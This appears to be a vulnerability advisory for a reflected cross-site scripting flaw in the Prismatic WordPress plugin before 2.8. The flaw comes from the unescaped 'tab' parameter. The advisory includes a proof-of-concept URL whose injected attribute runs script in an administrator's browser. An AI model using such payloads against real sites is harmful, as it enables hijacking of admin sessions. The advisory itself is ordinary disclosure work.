WordPress Plugin Vulnerabilities

Prismatic < 2.8 - Reflected Cross-Site Scripting (XSS)

Description

The plugin does not escape the 'tab' GET parameter before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator

Proof of Concept

https://example.com/wp-admin/options-general.php?page=prismatic&tab=%22+style%3Danimation-name%3Arotation+onanimationend%3Dalert%28origin%29%2F%2F%22

Affects Plugins

Fixed in 2.8

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
apple502j
Submitter
apple502j
Verified
Yes

Timeline

Publicly Published
2021-06-21 (about 2 years ago)
Added
2021-06-21 (about 2 years ago)
Last Updated
2021-06-25 (about 2 years ago)

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